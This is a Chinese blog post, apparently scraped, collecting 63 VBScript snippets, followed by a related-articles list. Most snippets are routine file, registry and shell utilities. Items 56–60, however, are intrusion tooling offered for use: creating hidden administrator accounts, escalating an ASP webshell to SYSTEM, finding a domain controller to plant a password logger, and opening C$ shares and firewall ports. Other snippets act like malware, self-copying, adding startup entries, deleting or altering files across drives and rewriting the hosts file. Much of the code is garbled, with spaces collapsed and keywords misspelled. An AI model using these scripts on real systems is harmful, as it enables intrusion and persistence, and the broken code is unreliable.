1、VBS获取系统安装路径

/先定义这个变量是获取系统安装路径的,然后我们用“&strWinDir&”调用这个变量。/

setWshShell = WScript.CreateObject(“WScript.Shell”)

strWinDir= WshShell.ExpandEnvironmentStrings("%WinDir%")

2、VBS获取C:/Program Files路径

msgbox CreateObject(“WScript.Shell”).ExpandEnvironmentStrings("%ProgramFiles%")

3、VBS获取C:/Program Files/Common Files路径

msgboxCreateObject(“WScript.Shell”).ExpandEnvironmentStrings("%CommonProgramFiles%")

4、给桌面添加网址快捷方式

setgangzi = WScript.CreateObject(“WScript.Shell”)

strDesktop= gangzi.SpecialFolders(“Desktop”)

setoShellLink = gangzi.CreateShortcut(strDesktop & “/InternetExplorer.lnk”)

oShellLink.TargetPath= “http://www.fendou.info”

oShellLink.Description= “Internet Explorer”

oShellLink.IconLocation= “%ProgramFiles%/Internet Explorer/iexplore.exe, 0”

oShellLink.Save

5、给收藏夹添加网址

ConstADMINISTRATIVE_TOOLS = 6

SetobjShell = CreateObject(“Shell.Application”)

SetobjFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

SetobjFolderItem = objFolder.Self

SetobjShell = WScript.CreateObject(“WScript.Shell”)

strDesktopFld= objFolderItem.Path

SetobjURLShortcut = objShell.CreateShortcut(strDesktopFld & “/奋斗Blog.url”)

objURLShortcut.TargetPath= “http://www.fendou.info/”

objURLShortcut.Save

6、删除指定目录指定后缀文件

OnError Resume Next

Setfso = CreateObject(“Scripting.FileSystemObject”)

fso.DeleteFile"C:/*.vbs", True

Setfso = Nothing

7、VBS改主页

SetoShell = CreateObject(“WScript.Shell”)

oShell.RegWrite “HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/Start Page”,“http://www.fendou.info”

8、VBS加启动项

SetoShell=CreateObject(“Wscript.Shell”)

oShell.RegWrite"HKLM/Software/Microsoft/Windows/CurrentVersion/Run/cmd",“cmd.exe”

9、VBS复制自己

setcopy1=createobject(“scripting.filesystemobject”)

copy1.getfile(wscript.scriptfullname).copy(“c:/huan.vbs”)

setcopy1=createobject(“scripting.filesystemobject”)

copy1.getfile(“game.exe”).copy(“c:/gangzi.exe”)

/复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)/

10、VBS获取系统临时目录

Dimfso

Setfso = CreateObject(“Scripting.FileSystemObject”)

Dimtempfolder

ConstTemporaryFolder = 2

Settempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echotempfolder

11、就算代码出错 依然继续执行

OnError Resume Next

12、VBS打开网址

SetobjShell = CreateObject(“Wscript.Shell”)

objShell.Run(“http://www.fendou.info/”)

13、VBS发送邮件

NameSpace= “http://schemas.microsoft.com/cdo/configuration/”

SetEmail = CreateObject(“CDO.Message”)

Email.From= “发件@qq.com”

Email.To= “收件@qq.com”

Email.Subject= “Test sendmail.vbs”

Email.Textbody= “OK!”

Email.AddAttachment"C:/1.txt"

WithEmail.Configuration.Fields

.Item(NameSpace&“sendusing”)= 2

.Item(NameSpace&“smtpserver”)= “smtp.邮件服务器.com”

.Item(NameSpace&“smtpserverport”)= 25

.Item(NameSpace&“smtpauthenticate”)= 1

.Item(NameSpace&“sendusername”)= “发件人用户名”

.Item(NameSpace&“sendpassword”)= “发件人密码”

.Update

EndWith

Email.Send

14、VBS结束进程

strComputer= “.”

SetobjWMIService = GetObject _

("winmgmts://" & strComputer& "/root/cimv2")

SetcolProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process WhereName = 'Rar.exe'")

ForEach objProcess in colProcessList

objProcess.Terminate()

Next

15、VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)

createObject(“wscript.shell”).run"iexplore http://www.fendou.info/",0

/兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。/

Setobjws=WScript.CreateObject(“wscript.shell”)

objws.Run""“C:/Program Files/InternetExplorer/iexplore.exe”“www.baidu.com”,vbhide

16、VBS遍历硬盘删除指定文件名

OnError Resume Next

DimfPath

strComputer= “.”

SetobjWMIService = GetObject _

("winmgmts://" & strComputer& "/root/cimv2")

SetcolProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process WhereName = 'gangzi.exe'")

ForEach objProcess in colProcessList

objProcess.Terminate()

Next

SetobjWMIService = GetObject(“winmgmts:” _

&"{impersonationLevel=impersonate}!//" & strComputer &"/root/cimv2")

SetcolDirs = objWMIService. _

ExecQuery(“Select* from Win32_Directory where name LIKE ‘%c:%’ or name LIKE ‘%d:%’ or name LIKE’%e:%’ or name LIKE ‘%f:%’ or name LIKE ‘%g:%’ or name LIKE ‘%h:%’ or name LIKE’%i:%’”)

SetobjFSO = CreateObject(“Scripting.FileSystemObject”)

ForEach objDir in colDirs

fPath= objDir.Name & “/gangzi.exe”

objFSO.DeleteFile(fPath),True

Next

17、VBS获取网卡MAC地址

Dimmc,mo

Setmc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)

ForEach mo In mc

Ifmo.IPEnabled=True Then

MsgBox"本机网卡MAC地址是: " & mo.MacAddress

ExitFor

EndIf

Next

18、VBS获取本机注册表主页地址

Setreg=WScript.CreateObject(“WScript.Shell”)

startpage=reg.RegRead(“HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/Start Page”)

MsgBoxstartpage

19、VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话

OnError Resume Next

Setfso = CreateObject(“Scripting.FileSystemObject”)

Co= VbCrLf & “路过。。。”

ForEach i In fso.Drives

If i.DriveType = 2 Then

GF fso.GetFolder(i & "/")

End If

Next

SubGF(fol)

Wh fol

Dim i

For Each i In fol.SubFolders

GF i

Next

EndSub

SubWh(fol)

Dim i

For Each i In fol.Files

If LCase(fso.GetExtensionName(i)) ="shtml" Thenfso.OpenTextFile(i,8,0).Write CoEnd If

Next

EndSub

20、获取计算机所有盘符

Setfso=CreateObject(“scripting.filesystemobject”)

Setobjdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

ForEach objdrive In objdrives '遍历磁盘

MsgBoxobjdrive

Next

21、VBS给本机所有磁盘根目录创建文件

OnError Resume Next

Setfso=CreateObject(“Scripting.FileSystemObject”)

Setgangzis=fso.Drives '取得当前计算机的所有磁盘驱动器

ForEach gangzi In gangzis '遍历磁盘

SetTestFile=fso.CreateTextFile(""&gangzi&"/新建文件夹.vbs",Ture)

TestFile.WriteLine(“Bywww.gangzi.org”)

TestFile.Close

Next

22、VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe

setfs = CreateObject(“Scripting.FileSystemObject”)

foreach drive in fs.drives

fstraversaldrive.rootfolder

next

subfstraversal(byval this)

foreach folder in this.subfolders

fstraversalfolder

next

setfiles = this.files

foreach file in files

iffile.name = “123.exe” then file.name = “321.exe”

next

endsub

23、VBS写入代码到粘贴板

/先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现/

str=“这里是你要复制到剪贴板的字符串”

Setws = wscript.createobject(“wscript.shell”)

ws.run “mshtavbscript:clipboardData.SetData(”+""""+“text”+""""+","+""""&str&""""+")(close)",0,true

24、QQ自动发消息

On Error Resume Next

str=“我是笨蛋/qq”

SetWshShell=WScript.CreateObject(“WScript.Shell”)

WshShell.run “mshtavbscript:clipboardData.SetData(”+""""+“text”+""""+","+""""&str&""""+")(close)",0

WshShell.run"tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys “^v”

WshShell.SendKeys “%s”

25、VBS隐藏文件

SetobjFSO = CreateObject(“Scripting.FileSystemObject”)

SetobjFile = objFSO.GetFile(“F:/软件大赛/show.txt”)

IfobjFile.Attributes = objFile.Attributes AND 2 Then

objFile.Attributes = objFile.Attributes XOR2

EndIf

26、VBS生成随机数

/521是生成规则,不同的数字生成的规则不一样,可以用于其它用途/

Randomize521

point=Array(Int(100Rnd+1),Int(1000Rnd+1),Int(10000*Rnd+1))

msgboxjoin(point,"")

27、VBS删除桌面IE图标(非快捷方式)

SetoShell = CreateObject(“WScript.Shell”)

oShell.RegWrite"HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoInternetIcon",1,“REG_DWORD”

28、VBS获取自身文件名

Setfso = CreateObject(“Scripting.FileSystemObject”)

msgboxWScript.ScriptName

29、VBS读取Unicode编码的文件

SetobjFSO = CreateObject(“Scripting.FileSystemObject”)

SetobjFile = objFSO.OpenTextFile(“gangzi.txt”,1,False,-1)

strText= objFile.ReadAll

objFile.Close

Wscript.EchostrText

30、VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径

setstm2 =createobject(“ADODB.Stream”)

stm2.Charset= “utf-8”

stm2.Open

stm2.LoadFromFilegangzi

readfile= stm2.ReadText

MsgBoxreadfile

31、VBS禁用组策略

SetoShell = CreateObject(“WScript.Shell”)

oShell.RegWrite"HKEY_CURRENT_USER/Software/Policies/Microsoft/MMC/RestrictToPermittedSnapins",1,“REG_DWORD”

32、VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量

gangzi=“1.txt”

gangzi2=“www.gangzi.org”

SetStm1 = CreateObject(“ADODB.Stream”)

Stm1.Type= 2

Stm1.Open

Stm1.Charset= “UTF-8”

Stm1.Position= Stm1.Size

Stm1.WriteTextgangzi2

Stm1.SaveToFilegangzi,2

Stm1.Close

setStm1 = nothing

33、VBS获取当前目录下所有文件夹名字(不包括子文件夹)

Setfso=CreateObject(“scripting.filesystemobject”)

Setf=fso.GetFolder(fso.GetAbsolutePathName("."))

Setfolders=f.SubFolders

ForEach fo In folders

wsh.echo fo.Name

Next

Setfolders=Nothing

Setf=nothing

Setfso=nothing

34、VBS获取指定目录下所有文件夹名字(包括子文件夹)

Dimt

Setfso=WScript.CreateObject(“scripting.filesystemobject”)

Setfs=fso.GetFolder(“d:/”)

WScript.Echoaa(fs)

Functionaa(n)

Setf=n.subfolders

ForEach uu In f

Setop=fso.GetFolder(uu.path)

t=t& vbcrlf & op.path

Callaa(op)

Next

aa=t

Endfunction

35、VBS创建.URL文件

/IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标/

setfso=createobject(“scripting.filesystemobject”)

qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)

qidong=qidong&“URL=http://www.fendou.info”&Chr(13)&Chr(10)

qidong=qidong&“IconFile=C:/WINDOWS/system32/SHELL32.dll”&Chr(13)&Chr(10)

qidong=qidong&“IconIndex=130”&Chr(13)&Chr(10)

SetTestFile=fso.CreateTextFile(“qq.url”,Ture)

TestFile.WriteLine(qidong)

TestFile.Close

36、VBS写hosts

/没写判断,无论存不存在都追加底部/

Setfs = CreateObject(“Scripting.FileSystemObject”)

path= “”&fs.GetSpecialFolder(1)&"/drivers/etc/hosts"

Setf = fs.OpenTextFile(path,8,TristateFalse)

f.Write""&vbcrlf&“127.0.0.1www.g.cn”&vbcrlf&“127.0.0.1 g.cn”

f.Close

37、VBS读取出HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace下面所有键的名字并循环输出

Const HKLM = &H80000002

strPath = “SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace”

Set oreg =GetObject(“Winmgmts:/root/default:StdRegProv”)

oreg.EnumKey HKLM,strPath,arr

For Each x In arr

   WScript.Echo x

Next

38、VBS创建txt文件

Dimfso,TestFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

SetTestFile=fso.CreateTextFile(“C:/hello.txt”,Ture)

TestFile.WriteLine(“Hello,World!”)

TestFile.Close

39、VBS创建文件夹

Dimfso,fld

Setfso=CreateObject(“Scripting.FileSystemObject”)

Setfld=fso.CreateFolder(“C:/newFolder”)

40、VBS判断文件夹是否存在

Dimfso,fld

Setfso=CreateObject(“Scripting.FileSystemObject”)

If(fso.FolderExists(“C:/newFolder”)) Then

msgbox(“Folderexists.”)

else

setfld=fso.CreateFolder(“C:/newFolder”)

EndIf

41、VBS使用变量判断文件夹

Dimfso,fld

drvName=“C:/”

fldName=“newFolder”

Setfso=CreateObject(“Scripting.FileSystemObject”)

If(fso.FolderExists(drvName&fldName)) Then

msgbox(“Folderexists.”)

else

setfld=fso.CreateFolder(drvName&fldName)

EndIf

42、VBS加输入框

Dimfso,TestFile,fileName,drvName,fldName

drvName=inputbox(“Enterthe drive to save to:”,“Drive letter”)

fldName=inputbox(“Enterthe folder name:”,“Folder name”)

fileName=inputbox(“Enterthe name of the file:”,“Filename”)

Setfso=CreateObject(“Scripting.FileSystemObject”)

If(fso.FolderExists(drvName&fldName))Then

msgbox(“Folderexists”)

Else

Setfld=fso.CreateFolder(drvName&fldName)

EndIf

SetTestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True)

TestFile.WriteLine(“Hello,World!”)

TestFile.Close

43、VBS检查是否有相同文件

Dimfso,TestFile,fileName,drvName,fldName

drvName=inputbox(“Enterthe drive to save to:”,“Drive letter”)

fldName=inputbox(“Enterthe folder name:”,“Folder name”)

fileName=inputbox(“Enterthe name of the file:”,“Filename”)

Setfso=CreateObject(“Scripting.FileSystemObject”)

If(fso.FolderExists(drvName&fldName))Then

msgbox(“Folderexists”)

Else

Setfld=fso.CreateFolder(drvName&fldName)

EndIf

If(fso.FileExists(drvName&fldName&"/"&fileName&".txt"))Then

msgbox(“Filealready exists.”)

Else

SetTestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True)

TestFile.WriteLine(“Hello,World!”)

TestFile.Close

EndIf

44、VBS改写、追加 文件

Dimfso,openFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

SetopenFile=fso.OpenTextFile(“C:/test.txt”,2,True) '1表示只读,2表示可写,8表示追加

openFile.Write"Hello World!"

openFile.Close

45、VBS读取文件 ReadAll 读取全部

Dimfso,openFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

SetopenFile=fso.OpenTextFile(“C:/test.txt”,1,True)

MsgBox(openFile.ReadAll)

46、VBS读取文件 ReadLine 读取一行

Dimfso,openFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

SetopenFile=fso.OpenTextFile(“C:/test.txt”,1,True)

MsgBox(openFile.ReadLine())

MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错

47、VBS读取文件 Read 读取n个字符

Dimfso,openFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

SetopenFile=fso.OpenTextFile(“C:/test.txt”,1,True)

MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。

48、VBS删除文件

Dimfso

Setfso=CreateObject(“Scripting.FileSystemObject”)

fso.DeleteFile(“C:/test.txt”)

49、VBS删除文件夹

Dimfso

Setfso=CreateObject(“Scripting.FileSystemObject”)

fso.DeleteFolder(“C:/newFolder”) '不管文件夹中有没有文件都一并删除

50、VBS连续创建文件

Dimfso,TestFile

Setfso=CreateObject(“Scripting.FileSystemObject”)

Fori=1 To 10

SetTestFile=fso.CreateTextFile(“C:/hello”&i&".txt",Ture)

TestFile.WriteLine(“Hello,World!”)

TestFile.Close

Next

51、VBS根据计算机名随机生成字符串

setws=createobject(“wscript.shell”)

setwenv=ws.environment(“process”)

RDA=wenv(“computername”)

FunctionUCharRand(n)

Fori=1 to n

RandomizeASC(MID(RDA,1,1))

temp= cint(25*Rnd)

temp= temp +65

UCharRand= UCharRand & chr(temp)

Next

EndFunction

msgboxUCharRand(LEN(RDA))

52、VBS根据mac生成序列号

FunctionEncode(strPass)

Dim i, theStr, strTmp

For i = 1 To Len(strPass)

strTmp = Asc(Mid(strPass, i, 1))theStr = theStr & Abs(strTmp)

Next

strPass = theStr

theStr = “”

Do While Len(strPass) > 16

strPass = JoinCutStr(strPass)

Loop

For i = 1 To Len(strPass)

strTmp = CInt(Mid(strPass, i, 1))strTmp = IIf(strTmp > 6, Chr(strTmp +60), strTmp)theStr = theStr & strTmp

Next

Encode = theStr

EndFunction

FunctionJoinCutStr(str)

Dim i, theStr

For i = 1 To Len(str)

If Len(str) - i = 0 Then Exit FortheStr = theStr &Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))i = i + 1

Next

JoinCutStr = theStr

EndFunction

FunctionIIf(var, val1, val2)

If var = True Then

IIf = val1

Else

IIf = val2

End If

EndFunction

Setmc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)

ForEach mo In mc

Ifmo.IPEnabled=True Then

theStr= mo.MacAddress

ExitFor

EndIf

Next

RandomizeEncode(theStr)

rdnum=Int(10*Rnd+5)

FunctionallRand(n)

For i=1 to n

Randomize Encode(theStr)temp = cint(25*Rnd)If temp mod 2 = 0 thentemp = temp + 97ElseIf temp < 9 thentemp = temp + 48Elsetemp = temp + 65End IfallRand = allRand & chr(temp)

Next

EndFunction

msgboxallRand(rdnum)

53、VBS自动连接adsl

DimWsh

SetWsh = WScript.CreateObject(“WScript.Shell”)

wsh.run"Rasdial 连接名字 账号 密码",false,1

54、VBS自动断开ADSL

DimWsh

SetWsh = WScript.CreateObject(“WScript.Shell”)

wsh.run"Rasdial /DISCONNECT",false,1

55、VBS每隔3秒自动更换IP并打开网址实例

/值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了/

DimWsh

SetWsh = WScript.CreateObject(“WScript.Shell”)

SetoIE = CreateObject(“InternetExplorer.Application”)

fori=1 to 5

wsh.run"Rasdial /DISCONNECT",false,1

wsh.run"Rasdial 连接名字 账号 密码",false,1

oIE.Navigate"http://www.ip138.com/?"&i&""

CallSynchronizeIE

oIE.Visible= True

next

SubSynchronizeIE

OnError Resume Next

DoWhile(oIE.Busy)

WScript.Sleep3000

Loop

EndSub

56、用VBS来加管理员帐号
/在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员/

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)

os=“WinNT://”&wsnetwork.ComputerName

Setob=GetObject(os) '得到adsi接口,绑定

Setoe=GetObject(os&"/Administrators,group") '属性,admin组

Setod=ob.Create(“user”,“lcx”) '建立用户

od.SetPassword"123456" '设置密码

od.SetInfo '保存

Setof=GetObject(os&"/lcx",user) '得到用户

oe.addos&"/lcx"

/这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。/

57、用vbs来列虚拟主机的物理目录
/有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:/

SetObjService=GetObject(“IIS://LocalHost/W3SVC”)

ForEach obj3w In objservice

IfIsNumeric(obj3w.Name) Then

sServerName=Obj3w.ServerComment

SetwebSite = GetObject(“IIS://Localhost/W3SVC/” & obj3w.Name &"/Root")

ListAllWeb= ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," “)& obj3w.ServerComment & “(” & webSite.Path &”)" & vbCrLf

EndIf

Next

WScript.EchoListAllWeb

SetObjService=Nothing

WScript.Quit

/运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢/

58、用VBS快速找到内网域的主服务器
/面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group “domainadmins” /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,:/

setobj=GetObject(“LDAP://rootDSE”)

wscript.echoobj.servername

/只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
/

59、WebShell提权用的VBS代码
/asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限/

setwsh=createobject(“wscript.shell”)

a=wsh.run (“cmd.exe /c cscript.exeC:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiAppsC:/WINNT/system32/inetsrv/httpext.dll C:/WINNT/system32/inetsrv/httpodbc.dllC:/WINNT/system32/inetsrv/ssinc.dll C:/WINNT/system32/msw3prt.dllC:/winnt/system32/inetsrv/asp.dll”,0) '加入asp.dll到InProcessIsapiApps中

/将其保存为vbs的后缀,再上传到服务上,然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了/

60、VBS开启ipc服务和相关设置

DimOperationRegistry

SetOperationRegistry=WScript.CreateObject(“WScript.Shell”)

OperationRegistry.RegWrite"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest",0

Setwsh3=wscript.createobject(“wscript.shell”)

wsh3.Run"net user helpassistant 123456",0,false

wsh3.Run"net user helpassistant /active",0,false

wsh3.Run"net localgroup administrators helpassistant /add",0,false

wsh3.Run"net start Lanmanworkstation /y",0,false

wsh3.Run"net start Lanmanserver /y",0,false

wsh3.Run"net start ipc$",0,True

wsh3.Run"net share c$=c:/",0,false

wsh3.Run"netsh firewall set notifications disable",0,True

wsh3.Run"netsh firewall set portopening TCP 139 enable",0,false

wsh3.Run"netsh firewall set portopening UDP 139 enable",0,false

wsh3.Run"netsh firewall set portopening TCP 445 enable",0,false

wsh3.Run"netsh firewall set portopening UDP 445 enable",0,false

61、VBS时间判断代码

Digital=time

hours=Hour(Digital)minutes=Minute(Digital)seconds=Second(Digital)if (hours<6) thendn="凌辰了,还没睡啊?"end ifif (hours>=6) thendn="早上好!"end ifif (hours>12) thendn="下午好!"end ifif (hours>18) thendn="晚上好!"end ifif (hours>22) thendn="不早了,夜深了,该睡觉了!"end ifif (minutes<=9) thenminutes="0" & minutesend ifif (seconds<=9) thenseconds="0" & secondsend if

ctime=hours& “:” & minutes & “:” & seconds &" " & dn

Msgboxctime

62、VBS注册表读写

Dim OperationRegistry , mynum

Set OperationRegistry=WScript.CreateObject(“WScript.Shell”)

mynum = 9

mynum =OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest”)

MsgBox(“before forceguest =”&mynum)

OperationRegistry.RegWrite"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest",0

mynum =OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest”)

MsgBox(“after forceguest =”&mynum)

63、VBS运行后删除自身代码

dimfso,f

Setfso = CreateObject(“Scripting.FileSystemObject”)

f= fso.DeleteFile(WScript.ScriptName)

WScript.Echo(WScript.ScriptName)

VBS脚本常用经典代码相关推荐

  1. VBS脚本常用经典代码收集

    在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习. VBS脚本用途很多: 1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, Powe ...

  2. Linux上类似vbs脚本,VBS脚本常用经典代码收集

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习. VBS播放音乐 Dim wmp Set wmp = CreateObject(&q ...

  3. C语言成绩abc,C语言常用经典代码:求三角形的面积、把百分制成绩转换为ABC等级制、其两个自然数的最大公约数和最小公倍数...

    C语言 经典常用代码 C语言常用经典代码 求三角形的面积. 把百分制成绩转换为ABC等级制. 其两个自然数的最大公约数和最小公倍数. 求输入n个数的平均值. 求一个数各个位上的数字之和. 求n个数的阶 ...

  4. vbs脚本实现搞笑代码vbs实现自动打字祝福(耗子尾汁)

    系列文章分类 C#专栏.VBS专栏.JAVA 专栏.IDEA 专栏 vbs脚本实现搞笑代码&vbs实现自动打字祝福 前言 一.vbs淦对话框 二.vbs淦打油诗 三.vbs淦函数 四.vbs淦 ...

  5. android 弹窗代码大全,36个Android开发常用经典代码大全

    //36个Android开发常用代码片段 //拨打电话 public static void call(Context context, String phoneNumber) { context.s ...

  6. C#常用经典代码片段

    转载请注明出处:https://blog.csdn.net/Leytton/article/details/88891616 本文主要记录项目中经常需要查阅的C#代码片段. 0x01 子线程操作UI ...

  7. Java在c盘fld目录下的文件名_VBS脚本常用代码大全2011整理.docx

    PAGE PAGE # / 38 VBS脚本常用经典代码收集于 2011年7月2日21:13:37整理 在网上查找资料的时候发现好多经典的 vbs 代码,收集起来也为了以后学 习. VBS播放音乐 D ...

  8. Vbs脚本经典教材(转)

    Vbs脚本经典教材(最全的资料还是MSDN) -为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...

  9. Vbs脚本编程简明教程之十

    妙用SendKeys自动上网并登陆博客 将下面的脚本复制到一个文本文件中,并将其文件名命名为:自动登陆.vbs,然后将拨号软件及本脚本一起复制到程序--启动项中,就可以实现自动拨号上网,并登陆到博客上 ...

  10. 用C#执行vbs脚本文件

    最近Windows服务器自动备份占用磁盘快满了,之前的解决的方法是编写vbs脚本自动压缩备份文件,需要在windows设置计划任务来执行,最近发现计划任务执行失败了,还得重新登录windows重启计划 ...

最新文章

  1. 生产指挥调度系统_市安全生产应急救援指挥中心将大型装载机械设备储备信息纳入应急指挥调度系统...
  2. centos下fail2ban安装与配置详解
  3. java 线程接口_java - 实现线程的接口
  4. 在服务器系统怎么设置地址怎么办,路由器怎么设置地址
  5. (数据科学学习手札03)Python与R在随机数生成上的异同
  6. 全网最新Spring Boot2.5.1整合Activiti5.22.0企业实战教程<入门篇>
  7. 终于把Redis场景设计搞清楚了,需要掌握的都在这了
  8. Java多线程_JUC包下的阻塞队列
  9. yii2 restful的自定义api
  10. 一款跑在云上的定制容器专属 OS
  11. java 图片压缩100k_Java 图片压缩至指定大小
  12. 直流可调稳压电源电压设计电路
  13. java.sql.SQLException: org.gjt.mm.mysql.Driver
  14. word转excel排版不变怎么转?
  15. 虚拟机VMware安Mac OS时没有Apple mac选项
  16. 用Python自动生成Excel报表
  17. 备份指南——Ghost前的系统配置大全(转)
  18. 尚硅谷前端视频总结(二)
  19. 短视频查重机制及去重方法
  20. YII2 路由问题-摘自yii2官方文档

热门文章

  1. java二级考试怎么考_2018年全国计算机二级Java考试考什么内容
  2. ASP.NET Web程序设计 第五章 页面状态管理
  3. 远程桌面命令是什么 如何使用命令连接远程桌面
  4. Spring 注解中@Resource 和 Authwired 的区别
  5. 关于如何写代码和学习代码
  6. oracle mac版安装步骤,Mac版安装oracle教程
  7. 廖雪峰Python教程学习笔记
  8. ASCII码,HTML转义字符表,以及快捷键
  9. 2021年通达信指标公式大全,值得收藏!
  10. DSP28335学习——系统初始化